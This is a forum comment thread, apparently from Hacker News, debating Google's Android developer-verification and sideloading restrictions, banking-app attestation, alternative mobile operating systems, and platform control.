I mean test it out. Write that short example extension in Firefox. Doesn't matter if you need to open up about:debugging (just as you need to do extra things on your android). It'll stay.
>Vanced and such is more of a First World/Western issue
What? I'm from Brazil and Vanced is as big, if not bigger here. In fact, most of my 'first world' friends just pay for YouTube Premium (or whatever it is called), and these kinds of workarounds are mostly used in countries with less purchasing power.
In addition to the other perspectives already offered here, warning screens such as the one you propose were already shown for sideloaded apps, and these screens worked against Google in their lawsuit with Epic Games. So that's another contributing factor for the policy we're discussing.
If a giant red warning saying 'THIS APP MAY BE MALWARE' doesn't stop someone, then they've either made an informed choice to proceed or it's willful negligence. In other words, users aren't 'trained' to ignore warnings; they're simply being willfully negligent.
It’s because on the other side of that warning is a cracked version of Spotify that removes the adverts.
The user can’t make an informed choice because it’s literally impossible to audit the safety of the app or the author. So they will click passed any warnings, follow any number of steps to install the app that gives them something desirable for free.
As someone who is usually careful I too have found myself clicking past warnings and error notifications in recent times, mainly because I want to do something and the software is actively preventing me from doing that. It isn't negligence, it is just wanting to get something done and not having the time or the nerves to carefully read through and think about messages, dialogs, and screens.
Back in the early days of the Internet there was the Joel Spolsky article on why users will always do anything to see the dancing bunnies.
It doesn’t matter what adjectives you apply to them - they do it and they’ll do it again. Most people are not equipped to evaluate the veracity of that statement, and if a few good apps don’t register with Google (that these will exist is the whole reason this move is problematic at all, right?) and ask you to click through on the website or whatever, they’ll get used to touching the stove and not getting burned.
c.f. the Windows “it could be malware” blurb. You basically can’t use any software from a small publisher without clicking through it, even if they pay for the code signing certificate.
But then you get situations like, "THIS PRODUCT MAY CAUSE CANCER," being cautioned everywhere, with no distinction between, "this is certainly harmful," and "we just haven't verified it isn't harmful".
The fact that you don't even realise why that wouldn't work is kind of telling.
> users aren't being 'trained' to ignore warnings
Of course they are. Every time they click "continue anyway" and it actually isn't malware (which is 99% of the time) they are being trained that the warning is nonsense.
And they're right! What use is a warning that an app might be malware, if a) it actually isn't almost every time you see the warning, and b) you have no way of telling if it is or isn't anyway?
I hate this move too and I don't think they should have done "just make the warning even bigger!" is obviously dumb.
There aren't too many false positives, it's just that most modern android software is malware.
Saying "this will steal your data" is probably correct.
So what were actually asking users is to install some malware, if it's provided by a big enough tech company, but not other malware. Of course users get confused.
Just stop downloading apps altogether and run the web views in the original web view - the web browser.
Will Google, Meta et al. do that and abandon their apps? Of course not, they need to install malware.
The way we allow paternalistic tech companies to train the consumer to abdicate personal responsibility is going to bite us in the ass sooner or later. I'm betting on sooner.
How about requiring the user to type into a text box "App Foo might be malware. I want to install it anyways."? And disable copy and paste for that box.
Maybe they shouldn't offer a "OK" button that the stupid user can blindly click. They could tell you, "this app is dangerous, go to system settings to enabled" and a "Dismiss" button.
I'll point to Windows Vista that went all in on this kind of security, even giving you a big warning if you tried to change your background. The computer magazines quickly published guides on how to change a slider or registry setting to reduce the amount of stupid warnings, and the people were quickly trained to ignore and just hit OK on these screens.
Anyway, Apple already does this with unknown apps downloaded from the internet, you need to go to security settings and hit a button there.
This is something laughable that Apple does. Anytime you install something from Github it'll make you click a few extra boxes. And their tightening down of things also ends up making people look for third party software in the first place. All this really does is, like you said, teach people to ignore warnings.
You use sideloadly to install any ipa you want.
If you don't have a developer account it will sign the application using a key with the validity of seven whole days! (instead if you have a developer account it will be valid one year, and don't forget to pay the 99€/year ransom)
So what's wrong with that? You get warned, you ignore the warning and get hacked, that's on you for being dumb enough to download stuff from some shady website. Plus, Android is supposed to have decent isolation and permission controls, unlike desktop OSs like Windows or Linux (not counting Snap/Flatpak) where software can read your entire disk or any arbitrary file and send it via the internet.
Plus, you are not required to do that, you can just stick to Google Play and trust what Google approves there. But no need to lock down others because of your recklessness.
Exactly this. I want a big toggle that I can turn on in developer settings (perhaps make it more involved than that, but you get the gist) that says "I acknowledge that from here on in I am responsible for my data and I hereby absolve Google and other interested parties from responsibility should I blah blah blah..."
Why the hell can't I use my rooted device for payments? It's my goddamn money at risk.
My Pixel phone warns me before allowing free installs (I refuse to call it "sideloading") from any app for the first time. And others like Xiaomi show (or used to show) a more prominent warning you had to read with the consequences, waiting at least 10 seconds to enable the option.
Plus the whole "banks need to protect you by ensuring your device" is stupid when cards are protected only by a PIN, and the app also requires some form of biometry to unlock it, which is to encrypt the underlying tokens. Banks should protect your money on their end, with clients having their responsibility to keep safe their stuff, whether that's their card or phone. It's a stupid premise itself, and it's lazy engineering.
Is the point of the warning to avoid liability or to actually inform the users? If you tell people everything causes cancer (instead of only saying when you've verified it doesn't), soon enough they're going to stop caring when you say stuff like, "don't eat asbestos, that causes cancer". I think a "checkmark" system makes more sense—for verified accounts/developers, put a checkmark near their name, and for unverified ones, have nothing. There's no reason to cause alarm when 99% of the time the alarm is misfounded.
By allowing people to shoot themselves in the foot after ignoring a unmistakable warning, you are helping teach the foolish to be more careful in the future. Making mistakes is the best way to learn something.
People who just ignore big banners will just tell you that "they have been hacked", as if getting hacked is like a weather phenomenon. They won't even connect them getting hacked with the big red banner.
If they even notice, that is. It's just as possible that they play open relay for a year before they move to a new phone because their battery is always dying so fast for some unknown reason.
It's such a simple and effective solution that could be implemented overnight and 'help to cut down on bad actors who hide their identity to distribute malware, commit financial fraud, or steal users personal data' tomorrow. Mission accomplished, internet saved, and everyone's happy just like a fairy tale out of the early 2000s.
People have no "control" over their own device if they have malware on it. The weirdo incoherent tech-chauvinism of "control" and "freedom" evidenced all over this thread is one of the most obnoxious trends on HN.
> People have no "control" over their own device if they have malware on it.
You are inadvertently reaching the true core of the question. The ones who have "control" over a device, are those who control the software running on it. Be it the bad guys (in the case of a malware-infested device), a giant corporation (in the case of a locked-down device), or yourself (when you can install and replace any software you want on the device).
Their point stands, though. The vast majority of users do not have either kind of control, so it is a very small concession to them in favor of securing their device against a malicious actor taking control.
I think this is what commenters here are missing. I agree politically with the notion that people should own their devices (having full control), but the reality is not and will never be that the majority have anything but the illusion of control. Meanwhile, as these devices become increasingly necessary for people to exist at all, and the data they store becomes increasingly sensitive, the ability to theoretically install your own software is completely irrelevant compared to the risk of anything bad happening.
Things that would be compromised if my phone is compromised: All private communication, bank accounts, stock portfolio, medical history, driver's license, criminal record, sexual history, grocery habits, all communication between my government and me, real estate deeds and mortgages, two-factor authentication keys, and I suppose my Steam library.
Like, that's a lot. People can lose their homes. The stakes are unfathomably high here.
It's pretty clearly an attempt to establish a clear chain of trust. If you are making a malicious app, the first thing you want to do is hide your identity. It is incredibly important that users can know whose code they are running, and who is responsible for the behavior of the malicious app that destroyed their life.
I can't say whether the specific implementation will be an improvement, but that is clearly the intent.
Meta and Google have not shown themselves to be "malicious" in sense that is relevant to this discussions. Whatever shady practices they may or may not have is very likely entirely within the law, and they are strongly motivated to protect people's personal data, because they will not have users (i.e., their product) if their platforms are insecure.
Meta has been shown to be malicious, up to an including violating permission controls to exfiltrate cookies from the browser with the facilitation of an android app.
The only reason, and it is the only reason, you do not view Meta as a malicious actor is because they've told you many times they are not.
Most Meta and Google products could be described as keyloggers or spyware. Many break permissions expectations - for example, Google apps have special privileges that allow them to circumvent some permissions on Android.
In addition, both Meta and Google products are primarily ad driven, with the majority of ads being scams. Again, virtually identical to other malicious apps.
Is any of this legal? Maybe, maybe not, you signed a EULA. But if all it takes is a EULA, then most android malware is not malware, and we're back at square one: play protect will not do anything.
And, to be clear, this is intentional. It is not Googles intention to squander malware because they rely on malware. No malware on Android and they go bankrupt.
It is their intention to further extract value out of the Google play store by leveraging their mandatory 30% cut. As well as making Android a more locked down platform and thereby more attractive to advertisers and DRM distributors.
That's just one type of malware - spyware is also malware.
The only difference between a malicious app exfilitrating your cookies through an exploit and Meta exfilitrating your cookies through an exploit is you trust Meta won't use your cookies to impersonate you, steal your browser sessions, drain your bank account, etc.
But that's just pure trust. Meta could easily have a leak - Experian had a leak and people lost millions of dollars.
"Free" devices exist. Linux computers. Linux phones. No codesigning, minimal sandboxing, none of that "malevolent" stuff from macOS/Windows/Android. Knock your socks off. You have a choice. Ideologically wanting everyone's devices to be like this is not sensible.
This isn't like anticompetitive behavior (bundling, lock-in, fees) where "you have a choice" is irrelevant because corporate power should be minimized and competition and consumer surplus should be maximized. Tradeoffs between security and nerd-fantasy "freedom" are valid.
I still remember that piece about the tween girl getting her nudes exposed because of a RAT. True "freedom" with technology, for non-nerds, means being able to use technology to pursue your passions, learn singing, fashion, dancing, without having to be terrified that this computer might destroy your life. That's "freedom" for 99% of folks. But the high-empathy folks here will respond "user error", "personal responsibility", "you should have known not to click that". You aren't entitled to be care-free, to have a life, to pay no attention to boring nerd stuff. Become a dead-inside geek like us, you bottom-quintile person, or else.
Let's see for how long this remains true. Every step they get closer to making you watch what they want, instead of what you want, it becomes more likely they will try to even prevent you from viewing videos when you use uBlock Origin.
The worst part is the Orwellian opening sentence they start with in their blog post [0]:
> You shouldn’t have to choose between open and secure
2+2=5
Truly the end of an era. I've spent nearly two decades buying Android phones because of a single checkbox in settings that let me have the freedom I consider essential to any computing device that I own.
In a way, it's liberating, I've missed out on a lot from the Apple ecosystem because of that checkbox. Maybe finally I can let go of it now the choice is out of my hands.
Very much my exact feelings. I had the first Android phone ever and even wrote my own APKs and enjoyed the freedom of the mobile platform that let me install my own software. But it's been close to 20 years and maybe it's time to check out the other side, as much as I despise Apple's locked down ecosystem.
I'd sooner get a Chinese phone that isn't "Google-certified" than reward this behaviour by giving $1000+ to the DRM OGs at Cupertino. Neither Apple nor Google are protecting users against the alleged data-stealing evils of Tiktok, so how exactly are they providing any kind of "user safety" by throwing up fees and red tape for small independent developers?
Is there a list or other easy way to find out which phones are not Google-certified going forward? Is it purely a country specific thing or are there (and will there continue to be) mainstream manufacturers with non-certified phones?
I'm also fine with sticking to older models. Never seen the point of having the latest and greatest (aka: pointless) feature anyway. Does certification only apply to new hardware or do manufacturers back-port it?
I'm pretty sure "Google-certified" is just the latest term for "has signed a contract to ship the proprietary Google parts of Android". (Google's blog post about this change links to a page which calls it "Play Protect certified", and this page says that all devices that ship Google apps are Play Protect Certified: https://support.google.com/android/answer/7165974?hl=en )
Amazon's "Kindle" tablets and TV devices famously do not ship Google apps, and sometimes you see restricted devices like the Rabbit R1 that just use the open-source parts of Android. But outside of China I don't think you can easily walk into a store and find a non-Google Android phone.
I don't think phones ever officially lapse out of Play Protect certified status -- the Nexus One, a phone from 2010, is still listed -- but presumably it'd be possible to find a phone old enough that it won't be able to download whatever Play Services OTA update they'll use to push this change.
Just a note for readers that the Jolla C2 cellular modem only supports European bands, so if you're in the US you're out of luck on that front until they release a new model.
Yes, I was checking this out! Sailfish with Android compat seems very compelling. The videos I saw on youtube showed a bit less polish than I'd prefer, but I'd be OK with that. But then I read up on the manufacturer they partnered with. Reeder, I believe? I ended up looking up some other devices they made and there seems to be build quality problems...I haven't seen reports like this for the Jolla C2, though, so I still might be tempted to purchase one just to see how it drives. Thanks for the recommendation!
I used it as my first phone some 10 years. I type this message on one. I like their perseverance, but the truth is it's declining in practical usability.
Edit: In EU, so (lack of) bands are not an issue for me.
The only reason to be surprised by this sentence to associate this corporation for the cool "Don't be evil" Google of 25 years ago.
But in 2025 Google is some kind of IBM, Oracle blob with here a middle age MBA woman trying to gas-light you into an orweilian world she is paving for an awesome remuneration.
Also notice they do not say "open source" once in the post... now it is just "open". It is "open" but not your phone anymore.
This is really bad. I think that most people on HN will agree with that.
The problem is that most normal people (HN is not normal - mostly for the better) don't even understand what sideloading is - let alone actually care.
How can we fix this?
(aside from making people care - apathy enables so many political problems in the current age, but it's such a huge problem that this definitely isn't going to be the impetus to fix it)
This certainly won't solve the problem, but I would at least like to banish the term "side load", which is a kind of Orwellian word that takes something everyone used to do all the time and makes it sound obscure and a bit nefarious. Maybe we, the tech literate, can start calling sideloading a "free install" or something. When asked, we can clarify that the 'free' stands for both freedom, and not paying middlemen 30%.
I really don't understand this war on language that is so prevalent in tech circles. There's a bunch of these like switching git branches from "master" to "main" or "blacklist"/"whitelist" to "allowlist"/"denylist" and I have yet to see a single problem that all of this term shuffling has actually solved.
If it weren't effective, large businesses and interest ("lobby") groups wouldn't spend millions on trying to establish certain words.
Calling it "sideloading" instead of "installing" software successfully cements the notion that it is somehow not a completely normal thing to do. That's problem solved for the Googles and Apples of the world.
True, but on the other hand the meaning of words often follows usage rather than the other way around.
There is no choice of words that will make it normal to install mobile apps from anywhere other than an app store. Whatever word we use will take on the meaning of doing something unusual.
"Sideloading" doesn't have an inherent or deeply ingrained negative connotation. I don't see a reason to try to change it.
It's usually pushed by people who want to feel "modern" and "proper". It doesn't have any value added, never helped anyone other than people who pushed that.
The curious thing about the word "slave" is that it originates from "slavs" i.e. people living in slavic countries, who were forced to slavery, yet we aren't freaking about that (I'm a slav by myself), it's just a word.
There are societies, however, where words aren't (shouldn't be) treated emotionally, like engineers and scientists. Engineers put priority on ease of communication and clarity. We just do the job, we didn't ask for DEI lectures. You want to be included - show your skills. As simple as that.
Apples and oranges. Blacklist→allowlist is 2010s social justice virtue signalling thing. Sideloading→installing is about a word that is scary to normies vs a word that's completely normal and neutral.
See the history of words such as "jaywalking" or "carbon footprint" and how their usage cements the respective ideas.
It's not an apples and oranges thing, it's the same practice of changing one term to an another because someone out there chose to believe that these words are somehow so powerful that they're pushing away swaths of people. You have no way of proving that "side loading" somehow scares away people because such proof does not exist.
It’s modern tech sycophancy. Meaningless change that serves no one, but the ones pushing it. They get to say they did something to “fight” some sort of inequality when it’s all just performative. Worse, in the examples you gave, it draws attention away from real issues to fight a culture war that was kind of already won years ago.
This is a great point. Not sure if it’s possible, would be great if there was some way to reclaim the notion of installing software as a general practice, regardless of whether a computer is “mobile” or “desktop”.
Like people still download software packages from the web on Windows, MacOS, and Linux… right? Maybe hard to grasp for the kids that grew up with tablets with no notion of a file system, idk
I think of it as manual installation, since I also have to manually update it. The app stores automatically install and update it (they find the appropriate APK for my device, download it, run the installer, and do the equivalent each time a new version is released).
Direct install isn't true either when you think about package managers like Fdroid, Epic store, etc. They are about as indirect as the official stores. Perhaps you should try 'user loads' for them and something like 'officially blessed loads' for the play and app stores. (I hope the latter is offensive enough to let the users know that it's the corporations in control)
Focusing on "stores" is part of this problem in the first place.
It's one of those seemingly innocent UI and communications changes that causes most users to develop a wrong mental model that obscures what's actually happening.
F-droid isn't actually installing the app. Neither does Play Store or Galaxy Store. Nor does Steam install your games on PC. People think they do, because the store fronts take over informing about installation progress. This little UI change alone - taking over the installer's progress bar - makes people develop bad mental models.
Direct installation is a great term IMHO. That's what you do when you download an APK onto your phone's file system, and then use e.g. file manager app to find that APK file, and run the system's package installer over it.
All F-Droid or Play Store or other stores do is to automate the "find the right APK" and "invoke installation" parts.
I thought that was the default understanding. That's one of the options you have to choose in many installers. For example, an option exists to install the software over ADB from within Android (eg: Shizuku). So, one of the other options you get is "install using system package manager" or something similar. In fact, that was the only method that worked for me until recently.
> When asked, we can clarify that the 'free' stands for both freedom, and not paying middlemen 30%.
Every time you have to clarify, it’s another opportunity to lose the asker. It’s not a good strategy to use a term we have to keep defining or that people may misunderstand. Stallman and the FSF continue to make that mistake and we have had decades to understand that’s a bad approach.
Call it something else, like a “direct install” or something better. You can still have a deeper meaning to it (“direct because it bypasses the App Store middleman”) but make it something people can understand fast. You can’t fight marketing with ideology alone, you have to beat them at their own game.
I'm so used to installing via F-Droid or straight APKs, installing something using the Play store feels weird and hack-y. If anyone's doing the "side loading" I think it's Google :P
People install games from Steam or the Epic Store on their computers without Microsoft preventing that or taking a cut all the time (not for lack of trying. I know). But somehow, in the mobile world, we went with total lockdowns and platform extortion as the rule?
> People install games from Steam or the Epic Store on their computers without Microsoft preventing that
microsoft wishes they could have the level of platform control that google/apple on mobiles have.
It's pure luck that the IBM-compatible PC was not locked down and restricted, because at the time IBM had not thought of it as being important. When it became clear that it was a lost profit opportunity, the cat was already out of the bag and so IBM had no choice.
Microsoft repeated the same "mistake". But apple learnt, and google also from apple.
They tried with the PS/2 MCA architecture, but naturally everyone ignored them.
Nowadays Microsoft could easily do it, they aren't fully into it, because they managed to botch themselves the whole WinRT/UWP and Windows 10X transition, had they made it in a way that most Windows developers would join the party, and the outcome would look much different.
Windows 11 sandboxing already requires MSIX and store distribution to be fully enabled, they only have to slowly keep turning the knobs on Windows 12 in whatever form it shows up, eventually.
That's also because Microsoft has their own game / app store and video game monetization scheme in the form of xbox live, which is integrated into Windows installations.
I don't know if it's actually used much much on windows, but iirc xbox live is pretty popular.
Do you know that Proton is developed as a countermeasure against Microsoft's possibility of vendor locking? It is already anticipated that little or more Microsoft will want that cut.
We're at late stage capitalism, where enshittification occurs at alarming rate.
I agree that this is a horrible step in the wrong direction but in terms of the solution I have a different take.
I don't think that making "normal" people "care" about sideloading is the answer, because a) it's impossible and b) political change doesn't happen through "normal" people anyway, all political and regulatory change is driven via smaller and motivated groups of people.
The problem is fundamentally that there's a duopoly on mobile OSes that has tons of market power and if they want to dictate a change like "you can no longer install unapproved software," they can just do it.
The solution is to walk away from that duopoly, to suck it up and just stop using their products. We fortunately are able to do this (for now) on desktop and running Linux in 2025 is better than it's ever been, and more people are doing it.
To get Linux or some alternative on phones is a big task, and if you make the switch you're going to lose a lot. But most of what has no desktop equivalent is addictive social media garbage that you should get rid of anyway. The biggest thing I'm concerned about is the state of banking and OTP/2FA.
I think we need to fight for universal electronic access to the financial system as a right without a need for gatekeepers like Apple or Google. In some countries it's already the case that at many businesses you must use your phone to make payments, cash is gone, cards are dying, and you must therefore agree to Apple or Google's rules to use your phone. This is truly how freedom and democracy will die if we allow it. This is way bigger for "normal" people than technical concepts like sideloading. People on the left should inherently understand the importance to liberty of having the right as an individual to buy and sell without some megacorp's permission. For people on the right, well, remember the Bible's "Mark of the beast..."
Secondarily we need to fight for the enforcement of anti-trust laws, which half of HN doesn't seem to even know exist, or feels are in some way unfair, even though they are the cause of these problems. Government needs to reach in and rearrange markets that are dominated by one or two players, it needs to forcefully restructure those companies so that they lose their market power and can no longer force citizens to obey their will. We've done it before, such as ending company towns where you were forced to use the company's scrip at the company's shop to buy living essentials. It's worked, we need to do it again.
I can do banking and otp at home with a 100 Euro phone that I use only for that. FB, TikTok, Instagram, etc, neve ever installed them on my devices.
The problem is that I want to make calls, SMSes, use WhatsApp and Telegram, Maps and OSMAnd, NewPipe, VLC, Syncthing and a few others on the phone I carry with me.
And to make matters worse I don't want a huge, thick and heavy brick like every Linux phone I read about. I'm on a Samsung A40 now and it's not easy to find a replacement with similar size and weight.
How are you going to buy things when you leave home?
In the country I live in, which is a highly online and highly mobile first country, a sizeable minority of businesses no longer accept cash. A few no longer even accept cards.
At these businesses, there is only one way to pay, which is to pull out your phone, and initiate a transaction through your mobile banking app, you scan a QR from the vendor and approve the transfer.
Mobile banking is so ubiquitous that often these businesses don't even have signage outlining their payment policies, or it's tiny and hard to find.
Some banks do not have an online banking website, the only way to access your money and make a payment is to use the Android or iOS app on an unrooted device, or physically go to a branch or ATM.
You go somewhere, you buy, at the end of your meal or whatever they tell you phone only, no card, no cash.
It's prevalent enough that being outside of your home without an unrooted Google or Apple operating system physically on your person is a significant impediment to buying basic things, like a meal.
Apple and Google will, through a variety of technical changes, seek to make this the case in all of the world, and in some countries they'll succeed. So the important question now is: how will it go down in the next 10 years in your country? How far under their control is your society going to fall?
Banking, money and payments. Limiting those in the name of security is how they will get you on everything else.
They will take away cash and cards and there will only be payment apps, on approved secure OSes which you can't "tamper" with (aka install "unauthorized" software like VLC or a Youtube alternative on), or else the payments apps stop working.
They will take away SMS OTP and there will only be TOTP, because it's more secure. Then they will replace the OTP with a facial scan, because it's more secure, people were being social engineered into giving someone those numbers over the phone, etc.
This is all in process. They don't even hide it, they just say it's for security. It is already happening in countries that are highly online and highly phone-centric.
> You go somewhere, you buy, at the end of your meal or whatever they tell you phone only, no card, no cash.
Note that this is likely illegal, even though I'm sure it's very common in certain places, and arguing about legal tender laws is not how you want to spend every meal of course.
But, in principle, in most countries at least, businesses and private citizens are obligated to accept the country's currency to discharge debts. They're free to have an upfront no cash policy, and refuse to do business with you if you try to pay with cash, for example making you leave all your groceries at the checkout counter. But if they claim that you have a debt to them, such as a meal you've already eaten and now must pay for, they must accept any form of the country's currency, such as cash, as a means of you paying that debt off.
It's not illegal where I live. Besides, laws can and do change. As an example of one common misconception: I don't live in the US, but there is nothing in the Constitution, nor in federal law, guaranteeing that you have the right to use cash.
That battle will likely come down to the likes of Apple and Google fighting against one state government at a time. Many will fall.
> Each jurisdiction determines what is legal tender, but essentially it is anything which, when offered ("tendered") in payment of a debt, extinguishes the debt. There is no obligation on the creditor to accept the tendered payment, but the act of tendering the payment in legal tender discharges the debt.
The modern banking system is entirely built on the Internet. Every electronic transaction is verified by Internet calls, and in the past Internet outages have made payment in some cases literally impossible.
> I can do banking and otp at home with a 100 Euro phone that I use only for that.
That doesn't solve anything, though. If Google revoked your Google account and refused to open a new one, you'd be SOL - you'd either have to buy an iPhone, or move banks until you find one that gives you a physical TOTP (since many just have apps already, but those apps don't run unless downloaded from the Google or Apple stores).
Telegram's clients are open-source, and there's plenty of non-official ones, but for other proprietary messengers you're SOL.
Hard to believe at this point that these messengers used to use open standard protocols, and you could send messages from Google Talk to Facebook once.
> I don't want a huge, thick and heavy brick like every Linux phone I read about
While I understand your point, are you even going to notice after a couple of weeks of daily driving? Let’s not underestimate our ability to get used to things.
I agree with you idealistically, but practically, creating an entirely new mobile OS with market share competitive with the existing two is an unbelievably massive challenge. It'd probably be just about as easy to get people to care about sideloading in the first place.
Remember how Android used to be an open source project and how we had Google backing AOSP? I think it's time we we maintain the latest fork and just use that instead.
That only solves the OS side of things, but doesn't give you a good ecosystem. Unfortunately and increasingly bigger number of apps rely on Google services and attestations, meaning you need a Google approved software to run them.
I wonder if it'll promote having multiple devices, fragmenting into multiple ecosystems. One for the approved walled garden, another for uses that can exist without relying on those services (anything that doesn't need payments?).
Another approach I wonder about is single task specific hardware, like a GPS unit or media player, what tasks have developed over the past ~18 years within the mobile ecosystem and are mature and not rapidly evolving enough that they can be unbundled to their own devices, and desirable enough to stand alone that there's a market for it.
that's highly inconvenient, most people won't bother with that.
The ~1% though will certainly do that, with black market apps and jailbroken OS will rise.
That's not the problem. It's the bootloader locked hardware and the TPM anti-"tampering" security verification that more and more apps require.
It's not just the OS makers. They're also responding to the demand of companies and governments to control their users through them. They will not say "no".
> It's not just the OS makers. They're also responding to the demand of companies and governments to control their users through them. They will not say "no".
I don't believe that entirely. For example, how much safer is a banking app protected by play protect, running on an OEM ROM with tonnes of OEM/Google/Meta malware, compared to the same running on Graphene, Lineage or Calyx? I think it's the other way around. Google or their associates convince either the banking firms, or more likely the security audit companies that the play protect (safetynet or whichever latest flavor) is an absolute necessity for security on android. In the latter case, those security firms will give the developers a checklist to follow, which will include an item on enabling that API. It's unlikely that so many banks will choose them on their own accord like that, even if a bunch of them insist on Google providing it. I have even seen banks disabling the API in their apps through updates. And they also don't have any problems with their web applications that don't have anything similar to remote attestation. Besides if you look closely, it's in Google's interest, not the bank's interest to enable these APIs. Such apps will only run on the OEM ROMs, making the open source and custom ROMs somewhat untenable.
I'm not sure banking firms need any convincing that attestation makes their systems more secure, as it is true. If the only way to interact with the app is via a human interface, that means you can't have scalable fraudulent traffic hitting your services. Without attestation, someone could MITM the app calls, and then automate it away.
Or when you do, you can then link it to specific group of people based on the identifiers you received from the attestation.
Is AOSP no longer a thing? I've been using GrapheneOS for a few years and admittedly lost track of AOSP, I just assumed it was still a thing despite Google generally wanting to control more and more.
Google now only drop through source code after a release, not during development. Also, much AOSP functionality has been moved to Googles Play Services which is closed source.
We used to have strong consumer protection advocates on both sides of the Atlantic, and those consumer protection advocates used to influence laws and regulation which forced corporations to stop doing anti-consumer stuff like this. Those days can return with enough organized labor and solidarity among the working classes.
Yea, but you will need to organize offline because chat control will catch your terrorist messages and report you to the police. And make sure to leave the phone at home so they cant see all the phones meeting in one spot. But how do you go to the location then? Public transport uses the phone for payment, your car uses the phone as authentication / key.
Its a very slippery slope that is very close to being implemented. In a way, we can hope that the current political climate somehow decimates the American corporations that control the systems, but it looks more like IBM during WW2 supplying counting machines to the Americans and to the Germans and everyone else.
The phone platform is officially lost at this point, there is too much political pressure to control it. We are going to increasingly need to rely on sneaker nets, small mesh networks, and home made "illegal" communication devices. The internet will continue to exist, but it is going to fracture more and more with the political wars that are happening at the moment.
I had to do some light research on Wiki, but it looks like Firefox OS was supposed to fill part of this void. Sadly, it was not successful, and the project lost funding and support from Mozilla. I think if Mozilla could not do it, it seems hard to imagine there is an open source org with more talent and money than Mozilla who can make it work.
> I think if Mozilla could not do it, it seems hard to imagine there is an open source org with more talent and money than Mozilla who can make it work.
I don’t believe that at all. Mozilla has been on a string of awful decisions for a long while. They start dumb projects no one asked for or wants all the time and abandon everything swiftly, even the good ones. Look at Rust and Servo.
Firefox OS barely lasted two years between release and discontinuation. It never even stood a chance for most people to even have heard of it or tried it, let alone be successful.
I'm not downvoting you. But the limiting factor probably wasn't the funding at all. It was the competence and marketing. At some level, they had to deal with the hardware stack - which IMO is a very hot mess right now. The only reason why it works for Android is because the OEMs are also in on the game - just like how it was (is?) for the Windows machines.
Sailfish tried and failed. Various Linux distro also tried and failed even harder. Consumers at large just aren't interested in anything other than iOS and Android.
The problem is - linux (outside on server land and maybe SteamOS) is everything but (regular) user friendly.
When people buy a new phone the expect a smooth experience without any major inconveniences and uniform UI. And apps. Lots of apps. Full of features and mature UI. Linux mostly have none of it.
The Linux experience on a decently powerful mobile device (i.e. not those open-source phones that perform like a 2010 smartphone) is perfectly fine. I find the Plasma experience to be a little lacking, but the Ubuntu experience is good when you find a phone UBPorts works on. Phosh (GNOME) works better on mobile than it does on desktop for a lot of things (multitouch touchpads come close to mobile in terms of smoothness).
Consumers didn't pick up Windows Phone or HarmonyOS enough to matter either. Access to the two common app stores is crucial for user adoption even when the UI is good.
Users need a new feature or a new power to justify transition. Learning of new OS is not free. Someone should reuse Android UI, but upgrade the OS to full Linux.
Mimicking the Android UI and UX is very trivial. The hard part is getting the OS to run on the mobile device in the first place. On top a tonne of custom drivers, it also requires way to either get accepted by the OEM locks or a way to bypass it entirely. This is getting harder by the day even with Android custom ROMs.
Valve has managed something similar with SteamOS as well as Proton built on Wine to make Windows games run on Linux, performing as good as or often better than an actual (modern) Windows install.
It's the mobile hardware drivers (such as for the modems and 5g etc) that likely roadblocks - these hardware manufacturers probably have some sort of OEM agreements, and so cannot opensource these drivers for all devices.
I would wish that mobile devices' specs and hardware drivers are all available, so that i am not dependent on the manufacturer supplying a compatible OS.
That will only work as long as Microsoft feels like ignoring it, and they are already starting with something similar to how netbooks were killed in the end.
Valve will learn the OS/2 lesson, by not fostering a proper native Linux ecosystem.
They are doing that with their own games and tooling, look at CS2. But Valve can’t force all other developers and publishers to do the same, they can only show the way, which they do.
There's already open source OSes that run on phones that aren't based on Android.
Off the top of my head there's a Debian based one, a Fedora based one, webOS, PostmarketOS, probably others. Wouldn't be that difficult but yeah, the cost of entry is still probably tens of millions.
Sadly that's not always (or won't be soon) an option. I recently had to buy a new phone so that I could run the 'updated' banking app that requires attestation to run — I was running google free Lineage.
Without attestation, banking apps stop working and without a banking app, you are locked out of modern life in many ways.
This latest Google move makes it impossible to run an attested Android without the sideloading limitation. That means that you'll have to choose between GrapheneOS and using your banking app.
I'm sad to say that I've already had to make that choice :-(. I feel that I was coerced into it.
I'm in the same boat as OP. Used GrapheneOS until Google Pay was enabled in my country. ALL banks then killed their proprietary NFC wallet apps in a month and told users to use Google Pay. I switched to using a Garmin watch for a while.
Then bank apps themselves started giving me warnings that my device was insecure (the irony) and I got increasingly frequent KYC questionnaires coming my way. One of the banks also disabled access to some money transfer services, which I suspect is because of some flag on my account in their system.
I had to ditch GrapheneOS at that point. There are simply no banks that I can switch to.
This is also no long term solution. GrapheneOS can't diverge from Google android to much, otherwise modern apps stop working. And Google will definitely go for alternative roms next.
I could've sworn GrapheneOS or LineageOS people were in talks with manufacturers to deliver devices that run one of those OSes out of the box. I wonder if there were any updates on that front
I use GrapheneOS, but it doesn't solve this class of problem. If your {banking|taxi|cash} app doesn't pass Play Integrity API running under GrapheneOS, you are out of luck for those apps. There are different levels of Play Integrity pass, and GrapheneOS does not pass the highest level of them, so some apps may work, and others not. I don't want to use Google Pay, but I couldn't if I wanted to on GrapheneOS, and I've seen people in this thread saying that where they live it can be difficult to pay for something any other way.
In my case, I've been working on fixing it by doing side work porting apps to offline-first Linux handhelds. With AI it is not hard nor time consuming. You can make personal versions of anything that adds personal value.
The idea that you can hold the beggar bowl out and company mommy will have pity is not realistic. Creating your own ecosystem and cross-fertilising with other liked minded people that is tailored to your approach is far more feasible now than we realise.
> most normal people... don't even understand what sideloading is
Actually, they understand it just fine. The concept is very simple too.
Before this change you could install Android apps without registering your passport/driving license with Google.
After this change you will have to tell Google your real name and home address to install anything on your Android device. This is all. It can take a convoluted form of registering Google account or a more direct form of sending Google your identity documents to confirm "developer privileges". But you will no longer be able to use non-hacked Android devices to install anything without doing those steps.
P.S. I recall that some people still believe that they can create Google account without giving Google your personal details, phone etc. This is simply a self-delusion. If Google does not immediately demand you to cough up a phone numbers under pretense of "suspicious activity", that's because they already know who you are (you probably told them yourself by registering another account elsewhere).
No, "burner SIM cards" aren't real. This is just another form of self-delusion, — this time architected by US security agencies. You don't become anonymous by using those, you become watched.
I don't see anywhere in the official announcement that you will be required to "tell Google your real name and home address to install anything on your Android device". The announcement is about developer verification, not user verification.
You already can not install applications from Google Play without Google account. Google accounts are registered with personal phone number (the one you obtained from your carrier, presumably using your ID). All Google Play users are already "verified" one way or another.
This change means that people who do not use Google Play or other sources, fully controlled by Google, will no longer be able to install applications on Android.
